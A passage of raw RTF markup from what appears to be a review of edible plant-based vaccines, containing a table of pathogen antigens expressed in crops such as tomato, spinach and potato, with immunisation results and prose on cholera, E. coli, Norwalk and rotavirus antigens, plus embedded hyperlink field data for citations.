\fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib67}{\*\bkmkend bbib67}\trowd \irow12\irowband12\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow13\irowband13\ltrrow\ts11\trgaph90\trrh82\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Rabies virus\cell }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\lang1036\langfe1033\langnp1036\insrsid4160551\charrsid16345645 Rabies virus-ERA strain outer surface glycoprotein (G-Protein)\cell }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Tomato\cell G-Protein accumulate
d in Golgi bodies, vesicles, plasmalemma and cell walls of vascular parenchyma cells\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib52}{\*\bkmkend bbib52}\trowd \irow13\irowband13\ltrrow\ts11\trgaph90\trrh82\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow14\irowband14\ltrrow\ts11\trgaph90\trrh221\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \cell Rabies virus epitopes fused with Tobacco mosaic virus
\cell Spinach\cell Immunized mice showed immune response and protection from lethal dose of rabies virus\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib53}{\*\bkmkend bbib53}\trowd \irow14\irowband14\ltrrow\ts11\trgaph90\trrh221\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow15\irowband15\ltrrow\ts11\trgaph90\trrh48\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \cell 
Virus glycoprotein and nucleoprotein fused with AlMV coat protein\cell Spinach\cell Oral immunization of human volunteer induced neutralizing antibodies\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib82}{\*\bkmkend bbib82}\trowd \irow15\irowband15\ltrrow\ts11\trgaph90\trrh48\trleft-100
\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Anthrax\cell Lethal factor protein (LF), linked to CTB\cell 
Potato\cell CTB-LF assembled into biologically active pentamers\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 \trowd \irow16\irowband16\ltrrow\ts11\trgaph90\trrh48\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Hemorrhagic disease of rabbits\cell 
VP60 from hemorrhagic disease virus\cell Potato\cell Immunized rabbit generated antibodies and were protected against disease\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \trowd \irow17\irowband17\ltrrow\ts11\trgaph90\trrh48\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 
\trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Infectious bronchitis of chickens\cell Full-length spike (S)
 protein of IBV\cell Potato\cell Immunized chickens generated detectable levels of serum antibodies and were protected against virulent IBV challenge\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \trowd \irow18\irowband18\lastrow \ltrrow\ts11\trgaph90\trrh48\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl
\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row }\pard \ltrpar
\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2561958\charrsid16345645 {\*\bkmkstart bbib1}{\*\bkmkstart bbib35}{\*\bkmkstart bbib81}
{\*\bkmkstart bbib41}{\*\bkmkstart bbib60}{\*\bkmkstart bbib3}{\*\bkmkstart bbib12}{\*\bkmkstart bbib87}{\*\bkmkend bbib62}\tab \tab \tab \tab \tab \tab \tab \tab \tab (Source: Dalal }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid2561958\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2561958\charrsid16345645 ., 2006)}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \v\fs20\insrsid4943116\charrsid16345645 
\par }\pard \ltrpar\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                            }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9050154\charrsid16345645                      }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 The edible vaccines were initially targeted against enteric diseases, which are the most common cause of child mortality worldwide, especially in developing countries. Enteric disease may result from bacteria
l and viral infections. One of the bacterial pathogens is }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Vibrio cholerae}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
, which is the causative agent of cholera. A non-toxic immunogenic B subunit (CTB) of enterotoxin that helps the toxin to bind to gut }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7018569\charrsid16345645 cells}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  was expressed in potato}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9312428\charrsid16345645 {\*\bkmkstart bbib2}{\*\bkmkend bbib1}{\*\bkmkend bbib35}.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  Mice administered with transgenic potato tubers expressing CTB fused with ER retention signal showed induction of both serum and intestinal CTB specific antibodies{\*\bkmkend bbib2}
. Similar to cholera, enteroxygenic }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Escherichia coli}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  also colonizes the small intestine a
nd produces enterotoxin leading to diarrhoea. The enterotoxin (LT) from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 E. coli}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 consists of one A subunit and pentameric B subunits. The non-toxic immunogenic B subunit has been engineered to express in tobacco {\*\bkmkstart bbib29}{\*\bkmkend bbib29} and potato and{\*\bkmkstart bbib45}. For expression in potato tubers synthetic }{
\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 LT-B}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 was expressed under a class I patatin promoter. The extracted protein from transgenic potato was used for immunization of mice. The recombinant protein was immunogenic and it could elicit local and systemic IgA response in parenterally primed mice
{\*\bkmkend bbib45}. Antigens for some of the enteric viral pathogens such as Norwalk virus and rotaviruses were expressed in potato{\*\bkmkstart bbib49}
. The mice immunized orally by feeding the potato tubers expressing recombinant Norwalk virus-like particle (rNV) were shown to develop serum IgG specific for rNV{\*\bkmkend bbib81}{\*\bkmkend bbib49}
 produced transgenic potatoes expressing capsid structural protein VP6 of Murine rotavirus. Oral immunization of mice with these transformed potato tuber tissues generated detectable an
tibody response against the rotavirus capsid protein. The success in mouse trials was followed by human trials. Human volunteers orally immunized with either bacterial (LT-B) or viral (Norwalk virus capsid protein) protein developed specific serum and imm
une responses against these antigens ({\*\bkmkstart bbib73}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_ve
rsion=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib73&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003700330000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Tacket }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 1998}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkstart bbib74}}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=
2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib74&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003700340000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Tacket}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645  et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
